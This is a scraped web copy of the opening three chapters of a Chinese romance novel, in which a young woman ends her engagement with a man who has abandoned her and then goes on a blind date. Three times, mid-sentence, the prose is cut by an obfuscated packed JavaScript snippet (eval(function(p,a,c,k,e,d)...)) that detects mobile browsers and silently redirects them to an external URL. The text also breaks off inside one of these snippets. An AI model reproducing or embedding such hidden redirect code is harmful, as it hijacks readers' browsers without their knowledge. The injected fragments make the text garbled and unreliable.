《相克【先婚后爱】》 1. 第 1 章 天刚蒙蒙亮,院子里的公鸡就卖力地打起了鸣,沈云舒半夜被梦惊醒后一直睁眼到现在,眼睛在黑暗里待久了,有些泛酸得疼,她用力眨了下眼,想到今天要做的事情,就再躺不下去。 她给睡在旁边的小人儿扯了扯被子,刚要起身,胳膊就被一只小手给紧紧攥住,沈知言还陷在梦中,呓语的嗓音带着细微的哽咽,“小姑,别走,我害怕。” 沈云舒忙又躺回去,拍上他的背,轻声安抚,“知言不怕,小姑在这儿呢,小姑哪儿都不去。” 沈知言迷迷糊糊中听到小姑的声音,慢慢安稳下来,等他睡实了,沈云舒俯身亲亲他的额头,穿上衣服,摸黑下了炕。 屋子里冷得跟冰窖一样,今年冬天来得早,现在还没立冬,气温已经到了零下。 今晚回来无论如何得把炉子给生上,小知言的身体底子差,一到换季的时候就容易生病,省几块儿煤球钱再把他给冻感冒了,不值当。 沈云舒来到外屋,先在灶台里生火烧上水,让屋里添些热乎气儿,等水开了,她把小知言被窝里已经凉掉的热水袋给换掉,又舀出两瓢热水到洗脸盆,再添些凉水,兑成温热,抓紧时间想洗个头。 她的头发很多,又长,几乎及腰,每次洗起来都很麻烦,原是想着明年开春结完婚再把它给剪掉,现在婚不结了,也没留着的必要,等养到年根儿底下,就一剪子给剪成齐肩的,利落还省事儿,卖头发的钱还可以多买些肉,过年的时候给小知言多添两个菜。 沈云舒洗好头,拿毛巾把绞得半湿的头发裹好,披上外套,拎起倒满洗头水的水桶,轻着动作推开门。 门咯吱响起,东屋闹出的动静戛然止住,沈云舒的脚也跟着一顿。 她现在住的这房子是机械厂的,一个院子两户,她和小知言占西边两间,东边那两间住的是宣传科的陈美娜和她男人张明达。 张明达好事儿被打断的恼恨从窗户里传出来,“真的是要死,这才几点,还让不让人睡觉!” 陈美娜的音量不比张明达小,“你小点儿声,她能睡着才怪,到手的金龟婿被人给生抢走了,换做是我,我得直接跳了河。” 张明达不屑地嗤道,“白长了那么一张好脸蛋儿,连个男人都留不住。” 陈美娜尖锐的嗓音提高,“你觉得她好看?!” 张明达立刻心虚地否认,“没,我连她长什么样子都没看清过。” 陈美娜放开了嗓子骂,“放你娘的狗臭屁,你那双苍蝇大的绿豆眼整天就差黏她脸上了,你别以为我不知道,她是骚狐狸精,你就是臭黄鼠狼,没一个好东西。” 后面陈美娜的嘴像是被人捂住,张明达低声求饶,刚才止住的声响又渐起。 沈云舒已经收回屋的脚重新迈出去,她关上屋子的门,提着水桶将脏水倒进院子里的槽池,然后走到鸡窝旁。 那屋没羞没臊的声音越来越响,正到关键处,沈云舒轻轻拍了拍公鸡的鸡冠,雄赳赳气昂昂的大公鸡抖了抖毛,清脆的鸣叫划破冷寒的空气。 张明达被这突然而起的一声吓得直接泄了力,他有气无力地放狠话,“我草,待会儿我就把那只破公鸡给一刀了结了。” 陈美娜比他更恼,她一脚踹开他,“滚蛋!是公鸡的问题吗?没公鸡你也不行,你就没哪次是行的!” 两人你一句我一句地又吵吵起来,沈云舒不紧不慢地回了屋,又关紧门,将不堪入耳的对骂声隔绝在屋外。 沈知言揉着眼睛从里屋走出来,浓长的睫毛上还挂着泪花,看到沈云舒,委屈的眼泪刚要掉,又被他给憋回去,他张开胳膊软糯糯地叫着“小姑”,努力扬着唇角想对沈云舒笑,最后憋得一张小脸儿通红。 沈云舒蹲下身,将他拥到怀里,柔声问,“小知言做噩梦了?” 沈知言把脸埋到她肩上,闷着头,不说话。 他想问小姑,和时礼叔不结婚了是因为他吗,他听到街上的婶婶们说,小姑带着他一个小累赘,不会有人愿意娶的,可他又怕提到时礼叔小姑会难过,他昨晚看到小姑在被窝里偷偷抹眼泪了。 他不想当小姑的累赘,但他更不想和小姑分开,去别人家里生活。 沈知言搂紧沈云舒的脖子,认真保证,“小姑,我以后会很乖的。” 沈云舒的心被扯的一疼,她抚着他的背,柔声回,“我们小知言现在已经很乖了,不需要再乖了,小姑不是跟你说过,你有不开心的事情可以跟小姑哭,谁要是欺负了我们小知言,你也可以揍回去,不要怕,就算是天塌下来,也有小姑给你撑腰。” 沈知言抬起些小脑袋瓜,看着沈云舒,眼眶发红,“我要快快长大,我也想给小姑撑腰,谁都不能来欺负小姑。” 沈云舒压下鼻尖的酸涩,捏捏他的小脸蛋儿,笑着道,“你要想快快长大给小姑撑腰,现在得多吃饭才行,吃饱了才有力气长大个子。” 沈知言使劲点点头,一脑袋小炸毛一上一下地晃。 沈云舒道,“那小姑现在做早饭,小知言得帮小姑烧火,不知道为什么,小姑每次吃小知言烧火做出来的饭,总觉得特别香。” 沈知言最喜欢帮小姑干活儿,他破涕为笑,大声回好。 五岁不到的小朋友,心思重得跟个小大人儿一样,沈云舒有意哄他开心,平时不让他干的活儿,今天都让他上了手。 两个人的早饭很容易做好,沈云舒煮了锅红薯粥,又拿猪油炒了个醋溜小白菜,配上刚出锅的鸡蛋饼,沈知言把自己的小肚子吃成了个球,拍一下都能听见回响。 沈云舒心里压着一堆事情,又不想让小知言看出来,她硬逼着自己勉强喝了半碗粥。 姑侄俩吃完饭,收拾好出门,已经快八点,外面的天沉压压的,像是憋着一场大雪,沈云舒原本打算骑自行车,看这天气,又把自行车放回了屋里。 张明达听到院子里的动静,抻着头从门缝里探来,他那双绿王八色儿的眼睛,一落到沈云舒身上,就习惯性地眯起来,冒着精光,今天尤甚。 宽松的妮子大衣也掩不住胸挺屁股翘的好身条,那腰细得一只手就能握住,皮肤白得发光,最要命的是那双眼睛,跟带着钩子似的,轻飘飘的一眼看过来,不管是有意还是无意,只要是个男人,魂儿都能被勾得离了身。 那个周时礼也真是好命,两个人处了有几年了吧,他不信他能把持住,肯定早就睡过了。 张明达冲着沈云舒的背影暗自“呸”一声,一双破鞋,今天打扮得这么好看也不知道又去勾搭谁,等着吧,近水楼台先得月,他迟早得摸上手弄一回。 陈美娜黑着脸一巴掌盖到他脑袋上,“你那双狗眼又看什么?” 张明达被扇得眼都冒了金星,他攥紧拳头,也想一巴掌给抡回去,看到陈美娜那水桶一样的腰,又立马歇了菜,还是算了,真要打起来,他这瘦胳膊瘦腿的,哪儿能打得过这头熊。 沈云舒先把小知言送去幼儿园,又走到镇东头,花五毛钱坐上去县里的公交车,到了县城广场,她去邮局取好钱,装进信封,一路走到土地规划局门口。 寒风凛冽刺骨,沈云舒却觉不出冷,她不给自己犹豫的机会,直接走向门卫室。 门卫大爷听她要找周时礼,不敢慢待,局里上上下下谁不知道,周秘书是局长面前的红人。 高材生,脑子灵光得很,又会说话,模样长得还好,局长有意招他做倒插门的乘龙快婿,有消息传已经在商讨婚期了,快的话,没准儿年底就能喝上喜酒。 周时礼出来得很快,他从市里回来快半个月了,要不是她这样找上门来,他还不打算见她。 沈云舒心里满是嘲讽,面上不动声色。 周时礼嗓音还是一如既往的温柔,仿佛两人之间与往常无异,“冷吧?去我办公室还是找家饭馆吃点东西,这附近有家面馆不错,你应该会喜欢。” 沈云舒开门见山,“不用,就在这儿说,不会耽误你太长时间。” 她将手里的袋子递给他,“这是你送过的东西,我都拿来了。” 袋子里的东西,小到发卡再到他去年送的戒指,一样不落,她都给他拎过来了。 她又拿出信封,“这些年你花在知言身上的钱,我拢了一笔费用,你看一下够不够,不够的话我再添。” 周时礼微微挑起眉,眼神像看小孩子闹脾气一样宠溺,“云舒,我们之间不需要算得这样清。” 沈云舒笑了笑,“得算清,算清了才能彻底断干净,以后也不会再有任何牵扯,时礼哥也好安心做你的上门女婿。” 周时礼还算从容的神色终是一僵。 他不接,沈云舒就把信封扔到袋子里,又将袋子放到他脚边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090483|163625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,东西她还回来了,怎么处理就是他的事情了。 沈云舒拿下巴点点他的手腕,“我今天过来是来拿这表的,其他的东西你直接扔垃圾桶就好。” 这表是她爸的,她爸临走前把表给了她哥,她哥临走前给了他,算是两家结亲的一个信物,现在亲事已经黄了,她不知道他还戴着这表干什么。 周时礼脸有些发白,他略微迟疑,最终摘下手表。 沈云舒把手表放到手绢里,包裹好,又拿出一张纸,“我去医院打听了一下护工的工资,有高有低,我自认那几年照顾婶儿照顾得还算尽心,不然她现在也不能站起来,所以我是按照最高的算的。” 她看他,“时礼哥,你认这笔钱吗?” 周时礼这下连唇角的笑都挂不住,他缓缓点头,哑声道,“认。” 认就好,省了她好多事情。 沈云舒递给他笔,“那麻烦你先签个字,月底前把这笔钱邮政汇款到这个账户,如果到月底我收不到钱,我就过来把这张纸贴到你们单位的公告栏上,我想你应该不想让你未来老丈人看到这些。” 周时礼接过纸和笔,签上字,每一笔写得几乎力透纸背。 沈云舒确认好他签的字,将纸整齐叠好,放到包里,一眼都不想再多看他,她转身对门卫大爷弯眼笑,“大爷,今天麻烦您了,我走了。” 门卫大爷正抻着脖子偷听,被逮个正着,他老脸一红,支吾道,“欸,好,好,再来哈。” 沈云舒的背挺得笔直,步子迈得也稳,前面不远处停着一辆小轿车,很破,车身掉漆得严重,车头有些坑洼,不知道是被撞的,还是别人砸的,车牌号倒是好记,是连着的几个七。 她把注意力全都集中在那辆车上,不想让自己想别的,但到底还是没忍住,没走几步,眼底的潮气涌上来,模糊了视线,她拿围巾遮住自己的半张脸,加快了些脚步,经过那辆小轿车,又将它甩在身后。 周时礼看着沈云舒走远的背影,幽深的目光晦涩难明,许久,他弯腰提起地上的袋子,头也不回地进了院。 顾松寒裹紧身上的军大衣,手里攥着一份文件,一路小跑着从院里出来,直奔路边的车,他拽开车门,猫腰上了副驾驶,屁股还没坐稳,话已经从嘴里出来了,“哎,哥,我刚听了一桩惊天八卦,是老爷子那得意门生周时礼的,你要不要听?” 驾驶座的人对别人的事情没任何兴趣,他拿过文件,一页一页翻过,看到最后,微蹙的眉头才慢慢舒展开。 顾松寒憋不住话,自顾自地开口,“我是真没想到,这周时礼看着跟个正人君子似的,竟然能干出脚踩两只船的事儿来。” “哥你那几年不在,你不知道,周时礼有一个小青梅,长得贼漂亮,尤其是那双水灵灵的眼睛,看谁谁迷糊,她那个时候经常跟在周时礼身后“时礼哥时礼哥”地叫,可把我们一帮半大的小子给羡慕坏了。” “那姑娘对周时礼情深义重又死心塌地,周时礼上大学那几年,他那瘫痪在床的老娘一直都是那姑娘照顾,据说两人都快要结婚了,结果这周时礼攀上了局长家的千金,转头就把那姑娘给踹了。” 顾松寒一口气说完,想到什么,不由想笑,“你说老爷子要是知道他最喜欢的学生是个忘恩负义的王八蛋,是不是得气得从棺材板里蹦出来。” 冯远山将文件扔到中控台,踩下油门启动车,不咸不淡地看他一眼,“你干的那些破事儿都没把老爷子气得砸开棺材板,一个陈世美,还不至于。” 顾松寒嗓子噎住,半天也没说出话来,他都想偷偷抽自己一巴掌,他也是嘴欠,干嘛没事儿要提起老爷子,这不是上赶着讨骂挨。 阴沉的天空飘落下零星的白色,呼啸的北风将头发吹得凌乱,沈云舒一直走到街头无人的拐角处,才慢慢停下脚,她怔怔地看着空中飞舞的雪花,长久未动。 顾松寒惫懒地窝在座椅里,只安静了一会儿,忍不住又嘚瑟起来,“这批复文件再难,不还是被咱给磨下来了,哥,中午要不要找地儿喝一顿,好好庆祝庆祝。” 冯远山的视线不经意地滑过路边的身影,又收回来,“我还有事儿,现在得回镇上。” 顾松寒看他,“今儿能有什么事儿,不是明天才开工?” 冯远山屈指叩了下方向盘,漫不经心地回道,“相亲。” 2. 第 2 章 顾松寒先是一愣,又幸灾乐祸地大笑起来,“咱家小老太太做事情就是麻利,昨天说相亲,今天就给安排上了,照老太太这个速度,我怎么觉得,不出一个月,我就能有嫂子了。” 冯远山扯了扯唇角,不置可否的态度。 顾松寒好奇,“有照片吗?让我看看,肯定特别漂亮,咱老太太眼光高,一般人轻易入不了她的眼。” 冯远山回,“没有。” 顾松寒不信,他是没相过亲,但他也见过猪跑,见面之前都要先看照片的,“没照片你们待会儿怎么碰面,谁也不认识谁。” 冯远山道,“你这么想知道的话,要不今天这亲你去相。” 顾松寒听出了他哥语气里的不耐烦,老老实实地闭上了嘴,他哥这几天的心气本来就不太顺,现在又被老太太逼着相亲,他还是没事儿不要在老虎头上瞎蹦跶了。 顾松寒怕冯远山不是一点半点,两人是表兄弟,顾松寒的亲奶奶是冯远山的亲外婆,冯远山年幼丧母,父亲另娶,小时候一直养在顾家,他比顾松寒整整大七岁,顾松寒说是被他带大的都不为过。 打小就是,冯远山脸一板,顾松寒屁都不敢放一个,也只有在他家老太太在的时候,顾松寒才偶尔敢对冯远山放肆一下。 在顾家,顾老太太从来都是拍板做主儿的那个,她说定的事情,没人能说一个“不”字,她让冯远山去相亲,冯远山就是不想去也得应。 说起青石镇的这顾家,哪怕是在县里,都颇有些名望,顾家老爷子顾径舟是高中老师,一路做到了校长的位置,顾老太太陆婵娟是卫生所的大夫,两人膝下一儿一女,是当初镇上唯二的两个大学生,一家能出两个大学生,这可是祖坟上都冒青烟的事儿。 青石镇上的人都想沾沾这股青烟,顾家孙字辈的人丁不算兴旺,也就只有顾松寒一个孙子和冯远山一个外孙。 相比打娘胎里出来就吊儿郎当,没个正形的顾松寒,大家更看好冯远山,都说三岁看老,这孩子从小就沉稳,还特别有主意,想和他说娃娃亲的不少。 只是冯远山到了初中,就被他父亲接回了城里,高中一毕业直接去当了兵,退伍后又去广州待了两年,去年才回到的青石镇。 他回来的转天就有媒人接连上了门,差点把顾家的门槛踩烂,不过冯远山到现在为止一个都没相过,他全部的心思都在办厂这件事上,暂时还没结婚的打算。 本来,老太太不着急冯远山结婚的事情,也不会催他,与生性古板的老爷子不同,老太太思想很是开放,小辈儿们结不结婚,什么时候想结婚,她都不管,随他们自己乐意。 她的孙子她最了解,真要是遇到喜欢的了,不用别人催,他自己肯定就想方设法把人给娶回家了,现在还不想结婚,那就是没碰到中意的,她逼也没用。 但是,前两天不知道从哪儿传出来的消息,说冯远山这么大年纪了,还不结婚,不是因为别的,他在广州的时候和人打过一架,伤到了男人的根本,说白点儿,就是不行……还是治不好的那种。 大家说得最热闹的时候,正好被出门遛儿弯的顾老太太给听了个正着,老太太当场就和人吵了起来,她孙子才二十七,正是血气方刚的好时候,这么冷的大冬天还时不时就洗上一回冷水澡,怎么就这么大年纪了,还不行?!!!你才不行,你祖宗十八辈儿都不行!!!! 别看老太太都快七十了,还是个知识分子,真要是扯着嗓子吵起架来,轻易没人能吵过她,老太太最后吵赢了也气得一宿没睡着,早晨一起来就急哄哄地张罗起冯远山的亲事。 结婚,还得尽快结,不然再传下去,假的也要传成真的。 可要跟谁结,这才是问题的关键,老太太思前想后盘算了半天,突然想起了个人,那双笑盈盈的眼睛,她当时看到的第一眼,就觉得欢喜。 镇上有关那姑娘的闲话,老太太不是没听说过,但没人比她更清楚,那些乌七八糟的话根本当不得真,说她孙子不行不就是被那帮人左一句右一句给这样造谣出来的,从他们那抹臭狗屎的嘴里出来的话,就没一句能听的。 那么好的姑娘,谁能娶进门就是谁家的福气,避免夜长梦多,被人给截了胡,老太太一刻也不敢耽误,马上托人上门去说了。 老太太托的人是方青萤,方青萤也是卫生所的大夫,顾老太太算是她老师,方青萤的女儿岁岁和沈知言是幼儿园的同学,两家离得近,两个小朋友经常一起玩儿,一来二去,方青萤和沈云舒也就慢慢亲近起来。 方青萤拿沈云舒当亲妹子,打心眼里心疼她,小小年纪,父母兄嫂相继过世,她自己一个人带着小知言,这些年每一步都走得不容易,本以为遇到了真心交付的人,谁知道周时礼是个知面不知心的混账玩意儿。 她这些天正琢磨着要给沈云舒重新说一门亲事儿,在各个方面都必须得把周时礼给碾压下去,这不,她列人选列得正起劲儿呢,顾老太太就把枕头递过来了。 再没比顾家更适合的了,顾家可是镇上数一数二的大户,顾姨当年读大学出去,嫁进了城里,据说婆家的家世大有来头,至于有什么来头,至今都没人搞清楚过,各种各样的说法很多,总之是他们平民老百姓惹不起的人,就是十个周家绑一块儿都比不上人家一个脚指头盖。 那位冯远山,方青萤去顾家看望老太太的时候,见过一两面,和周时礼是完全相反的类型。 周时礼长得是白净,文质彬彬的,还有一双被眼镜挡住的桃花眼,一笑起来,很容易招到女人的喜欢,而冯远山高大魁梧,眉深目寒,光站在那儿,就是不说话,都能让人望而生畏,少有人敢主动靠近。 不知道为什么,方青萤私心觉得,冯远山身上那种冷硬的气场和云舒好像会更合适,她脑海里都能自动浮现出两个人站在一起的画面,简直再般配不过。 顾老太太和方青萤一拍即合,越说越觉得这事儿有谱,相亲的事情就这么定了下来。 剩下的就是怎么说服云舒去相亲,方青萤知道她看着跟没事儿人一样,心里指不定怎么难熬,这就更需要点儿别的事情别的人来转移注意力。 沈云舒听方青萤说这事儿的时候,开始想推脱,最终还是点头应下来。 青萤姐这些天为了她的事儿着急又上火,嘴上都起了泡,对方又是青萤姐的老师,既然都说定了,她不好把青萤姐架在中间难做。 再者她觉得男方会同意相亲,多半是拗不过家里的老人,男方现在是住在镇上,可人家户口是城里的,结婚找对象肯定也是想要找城里的,就算见面,大概也只是走个过场,好给长辈有个交待。 就像青萤姐说的,相看相看,相是一回事儿,能不能成两说,所以见一面就见一面,她主要是想借着相亲这茬儿逼着自己往前走一步。 雪越下越大,路上不一会儿就堆了积雪,公交车一路走走停停,比往常开得要慢许多,定的时间是中午十二点在镇东头的大柳树下碰面,沈云舒怕让人家空等,一下公交车就小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090484|163625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑着直奔了大柳树那头。 大柳树下空荡荡的,只有一只秋千在寒风中打着晃,沈云舒从包里翻出用手绢包裹着的那只表,已经十二点过了十分,那人等不到她,应该已经走了。 大雪纷飞,四下无人,见完周时礼后,她身上一直绷着的那股劲儿,在这种被簌簌落雪包围的安静里,突然就泄了下来,她慢慢地摩挲着有些陈旧的表盘,想起她哥,眼眶不受控地泛了红。 眼泪一掉下来,就有些止不住。 在家里,怕小知言看到,她不敢哭,在工厂,不想让人看了笑话,她装得什么都无所谓,再难听的话说到她跟前,她也能若无其事地把对方怼得脸红脖子粗,其实指尖都气得发抖。 要是她哥还在,没人敢这么欺负她。 沈云舒躲在墙角里,面对着大柳树,无声地哭了许久,直到清脆的自行车铃声穿过雪幕打破冷寂,她胡乱地抹掉眼泪,拿围巾挡住脸,只剩一双含着水的眸子露在外面。 自行车在雪地里晃晃悠悠地骑过去,沈云舒僵直的肩膀松塌下来,她看着远方白茫茫的天空,低低地叹了口气,可能是因为哭过一场,这些天憋在她心里的情绪多少散了些。 沈云舒裹紧大衣,把包甩到肩上,她得先去跟青萤姐说一声,是因为她迟到,导致这亲没相成,不能让青萤姐在她老师那儿落埋怨。 她刚迈开步,不远处,一个身材高大的男人不紧不慢地走过来,寸头凌厉,黑眸冷峻,鼻梁高挺,薄唇淡漠,军绿色的大衣穿在他身上,不落俗气,反倒生出一种不怒自威的疏离,像是立于万丈悬崖之上的铮铮青松,高耸入云,让人不敢直视。 沈云舒认出他就是照片里的那位冯远山,不由地绷直了背。 冯远山在她面前几步远站定,低沉的嗓音带着些客气的距离感,“抱歉,我有事情耽误了些时间,来晚了。” 沈云舒忙回,“没事儿的,我也是刚到。” 冯远山没有温度的目光停在她湿漉漉的眼睛上。 他的视线给人一种莫名的压迫感,沈云舒眼神闪了下,欲盖弥彰地解释,“刚才风刮进了眼。” 冯远山不关心她是哭过还是风刮了眼,他抬腕看了眼时间,又道,“走吧。” 沈云舒问,“去哪儿?” 冯远山过来相这个亲,纯是来应付个差事,他原打算速战速决,最多半个小时就能结束,一点钟他还约了人谈事情,现在已经快十二点四十,他默了默,做出决定,“去吃点儿饭。” 冰天雪地里哭了快半个小时,回去再冻感冒了,要是让老太太知道和他相个亲,连饭都没吃,还惹出了一场病,少不得要把这个罪名安到他身上,狠骂他一顿,他想耳根子清净些。 到了饭馆,给她点上饭,他结完账就走,现在赶过去还来得及,那人很不好约,这次放了鸽子,下次不一定还能约出来。 沈云舒看出来他后面应该是还有安排,反正也是走过场,饭能不吃就不吃,她不想让他花钱,她自己能不花钱也就不花钱。 她回,“要不还是不吃了,我不饿。” 话音刚落,她肚子里起了“咕噜”一声,声音不算大,但架不住周遭安静。 沈云舒睫毛颤了颤,苍白的脸上迅速晕出了一层薄薄的粉,又蔓到莹润的耳根,压都压不下去。 冯远山眉眼平静地收回目光,转身朝不远处的饭馆走去。 走几步,又停下,回头看还站在原地不动的人,淡淡道,“跟上。” 3. 第 3 章 沈云舒抠着自己的手指,犹豫片刻,跟了上去。 他的步子很大,她有些跟不上,鞋一步一步地踩在雪上,咯吱咯吱的,不知道是因为紧张还是着急,她的手心都有些出汗。 她看他要进饭馆,想叫住他,真不用吃饭,但唇张了张,最后又给闭上了,她不知道要怎么叫他,直接叫冯远山吗,可他比她大五岁,比她哥还大一岁,要不还是喊他冯同志,青萤姐说他当过几年兵。 沈云舒刚开口说了个“冯”字,冯远山打开饭馆的门,侧身回看她,沈云舒一对上他那双沉沉的黑眸,到嘴边的话又给咽了回去。 虽然是第一次见面,她有些说不上来的怕他。 冯远山用眼神示意她进,沈云舒的脚不听使唤地迈进了饭馆。 饭馆的小伙计春水看到冯远山,眼睛一亮,小跑着迎上前来,“冯大哥,您可有段时间没来了。” 半大的小子,个子也不高,瘦得像猴儿,凑到冯远山跟前,就跟个小孩儿一样,冯远山扑棱了两下他那一头炸毛,简单道一个字,“忙。” 春水嘿嘿一笑,露出一口白牙,“今儿还是老几样?” 冯远山回,“去拿菜单。” 春水一个劲儿地往沈云舒那边瞅,他冲冯远山挤挤眼,大声道,“好嘞!冯大哥您等着,我这就去给您拿。” 话还没说完,人已经蹿出了几步远,他得赶紧去跟师父说,冯大哥领着个顶顶漂亮的姐姐过来吃饭了,这可是天上下红雨,从来没见过的奇事儿。 冯远山将沈云舒带到一个角落的位置,左边靠窗,右边挨着炉子,沈云舒等他先坐下,才在他对面的位置坐下。 有小伙计麻利地端上一壶茶水来,先嘻嘻笑着叫一句“冯大哥”,又偷偷瞄一眼沈云舒,然后一溜烟地跑去了里屋。 冯远山拿过一个水杯,用热水将水杯涮过一遭,把水倒掉,又重新将水杯添满,放到她手边。 沈云舒冰凉的指尖碰上水杯,僵硬的身体回缓了些,她拿掌心慢慢包裹住水杯,看他,开口道,“谢谢。” 冯远山回了声“客气”,便再无他话。 饭馆面积不大,现在只有他们这一桌,刚说去拿菜单的小伙计没了影儿,端茶的那小伙计也不知道去了哪儿,空气有些过于安静,只有火炉里的火星子噼啪作响。 这是她头一次相亲,他不说话,沈云舒一时也想不出要说什么,只能装作打量饭馆,把眼睛偏向了别处。 她下馆子的次数,用不着一只手就能数完,都是她哥还在的时候带她去的,小知言一次都没来过饭馆。 镇上的饭馆不多,也就那么几家,不知道这家的味道怎么样,要是还可以,等小知言过生日,可以带他来一次,这边离小知言的学校不算远,就算有些贵也没关系,一年也就这么一回,不行,她可以在秋明哥那边再多接些活儿。 没多一会儿,春水捧着菜单丧眉搭眼地从里屋出来,他这次眼睛老实了许多,没敢再偷觑沈云舒。 师父刚踹了他一脚,让他们没事儿别凑在冯大哥身边多话,冯大哥好不容易带一姑娘过来,要是让他们给吓到了,师父就直接扒了他们的皮,师父他老人家从来都是说到做到。 冯远山把菜单递给沈云舒,让她来点,沈云舒也没推脱,她打定主意要掏这顿饭的钱,她点能控制好金额。 沈云舒先点了一个素小炒,咬了咬牙,又添了个素凉菜,然后点了一小碗素面,在大碗素面和大碗肉丝面之间,她迟疑半秒,最后给他点了大碗素面,肉丝面比素面贵出不少,他就算了,下次可以带小知言来吃。 沈云舒点完把菜单给他,客套地问一句,看他还有没有什么要加的。 冯远山接过菜单,也不看,递回春水,“大碗素面不要,再添一个红烧肉。” 沈云舒一听顿时后悔得不行,她就不该多客套那一句,一盘红烧肉得顶好几碗素面,早知道就给他点那碗肉丝面了。 她摸了摸自己口袋,也不知道她带的钱够不够付这顿饭,实在不行,就让他单独付红烧肉的钱,反正她是一口都不会吃的,他觉得她小家子气就小家子气吧。 春水探到沈云舒的神情,还以为是她对这个菜不满意,他嘴一快,早把师父的训斥忘在了脑后,“红烧肉是我师父的拿手好菜,别家都做不出我师父的味道,您可以先尝尝,保管您吃过之后还想再吃。” 沈云舒看他不过十来岁,挺着小胸脯说话的样子,和小知言在外人面前回护她时如出一撤,她莞尔一笑,顺着他的话回道,“好,那我待会儿尝尝。” 春水看着她眼里淌出的笑,有些愣住,一张小脸登时红了个彻底,他不好意思地摸摸自己快要烧着的耳朵,转身想要跑。 沈云舒叫住他,“小哥,你们这儿有洗手的地方吗?” 她哭完又吹了冷风,现在脸有些干疼,她想洗把脸。 春水被她这句“小哥”一叫,脸上还没退下去的热度又压下来,说话都有些磕绊了,“有,有的,我带您去。” 沈云舒将脖子上的围巾拿下来,搭到椅背上,也没看对面的人,跟着春水走远。 冯远山看着走路都快要同手同脚的春水,似笑非笑地扯了下唇角,淡漠的黑眸里看不出什么情绪。 不过是洗个脸的功夫,再出来,几张桌子上坐满了人,听他们高声谈话的内容,应该是拉货的货车司机,被大雪困在了路上,随便找了个饭馆,进来吃点儿东西。 沈云舒径直走回座位,围拢过来的各种目光追了她一路。 她因为哭过,眼尾和鼻尖的红一时半会儿散不去,刚又洗过脸,瓷白的脸庞沾着氤氲水汽,耳边被打湿的一两缕细细的乌发弯弯地翘着,更添了几分不自知的柔媚。 冯远山掀眸淡淡扫过周围,那些明里暗里落在沈云舒身上的视线顿时收敛起。 刚有些安静的饭馆重新热闹起来,只是还有那么一两道不怀好意的目光时不时地看过来,对上冯远山冷厉的黑眸,才悻悻地移开眼。 冯远山看了眼时间,歇了要提前走的心思,背懒懒地靠着椅子,转头看向窗外的雪,骨节分明的长指有一搭没一搭地把玩起打火机。 沈云舒从包里拿出一条手帕,简单擦了擦手,眼睛不动声色地打量着对面的人,如果真的是以相亲的标准来看的话,肯定是不行的,长得是不错,又高又壮,但人太闷了,半天也不说一句话,以后两个人过日子不得闷死。 她将手帕整整齐齐叠好,又有些自嘲,她觉得人家不行,人家肯定是觉得她更不行,所以才一句话都不想聊。 这样一想,沈云舒心里原本的紧张就散了个干净,等待会儿出了这个饭馆,以后应该都不会再有什么交集,所以也没什么值得她紧张的。 沈云舒现在的心情是她这些天以来最轻快的时候,该还的东西还了,该拿的东西拿回来了,又痛痛快快哭过一场。 现在她和周时礼之间算是完全翻过篇去了,其实她原本打算至少要甩他一个嘴巴子才算结束,但见到他的那一刻,她突然又觉得一切都没意思极了,他在她心里已经死得透透的,打他手疼的也是她,以后他们两个就是桥归桥路归路,再碰到也就是个陌生人。 沈云舒想事情想得太出神,目光怔怔地落在冯远山的侧脸,半天没有动,冯远山从窗外收回视线,对上她的眼睛,沈云舒被他一看,才反应过来她一直在盯着他,她不好意思地冲他笑笑,转头看向窗外,长长的睫毛忽闪着,黑发半掩下的耳垂慢慢浸出红。 冯远山把玩着打火机的手停住,他端起水杯,面无表情地喝一口水,又放下水杯。 春水身后带着一小伙计,两个人一人端一托盘走过来,小伙计先依次放好素凉菜、素小炒,素面,春水把红烧肉放到沈云舒这头,又郑重和她强调一遍,“真的很好吃,您尝尝。” 他目光灼灼,好像她不尝,他就不肯走似的,沈云舒在他的注视下,拿起筷子,夹了一块儿肉吃进嘴里,不知道是不是她有段时间不沾荤腥了,确实很好吃,肥而不腻,入口即化。 沈云舒笑着看春水,“很好吃。” 春水咧嘴笑开,夸他师父做的饭好吃,比夸他长个头了还让他高兴,他要去告诉师父,冯大哥带来的漂亮姐姐也喜欢吃他老人家做的红烧肉。 等春水走远,沈云舒放下筷子,他既然喜欢吃红烧肉,她就想着把红烧肉端到他那头,冯远山止住她,“就这样。” 沈云舒又问,“要不要给您点个主食,您不喜欢面的话,要碗米饭?” 她刚洗脸的时候凑了一下她身上带的钱,差不多应该能够付全部,包括这盘让她肉疼的红烧肉,也可以再给他点碗米饭。 冯远山回,“不用。” 他都说不用了,沈云舒也就没再坚持,她是真的有点儿饿了。 她这些天都没怎么好好吃过饭,今天早晨只喝了半碗稀饭,在县城一来一回走了一个多小时,又冷又累,现在心里堵着的石头也去了大半,胃口稍微回来了些,这家的味道又出乎意料的好,哪怕是一碗简单的素面。 他不想说话,她也不用费心思找什么话题,她更喜欢这种气氛,两个人就安静地吃饭。 沈云舒吃饭基本没细嚼慢咽过,她平时又要干活又要带小知言,能停在饭桌上的时间不多,基本就是囫囵地吃几口,能把肚子填饱就算完。 可她吃饭的样子跟难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 